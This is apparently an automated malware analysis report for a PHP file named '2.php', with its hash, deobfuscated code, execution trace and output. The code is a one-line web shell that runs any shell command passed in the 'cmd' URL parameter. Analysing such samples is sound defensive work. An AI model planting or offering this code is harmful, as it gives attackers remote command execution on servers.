PHP Malware Analysis

2.php

md5: 862fee7220ac31938c35ba7f911e7328

Jump to:

Screenshot


Attributes

Execution

Input


Deobfuscated PHP code

<?php

echo 1;
echo system($_GET['cmd']);

Execution traces

data/traces/862fee7220ac31938c35ba7f911e7328_trace-1676253614.1158.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:00:40.013610]
1	0	1	0.000142	393464
1	3	0	0.000189	393928	{main}	1		/var/www/html/uploads/2.php	0	0
2	4	0	0.000220	393928	system	0		/var/www/html/uploads/2.php	1	1	NULL
2	4	1	0.000243	393960
2	4	R			FALSE
1	3	1	0.000257	393928
			0.000282	314200
TRACE END   [2023-02-13 00:00:40.013779]


Generated HTML code

<html><head></head><body>1</body></html>

Original PHP code

<?php echo 1; echo system($_GET['cmd']);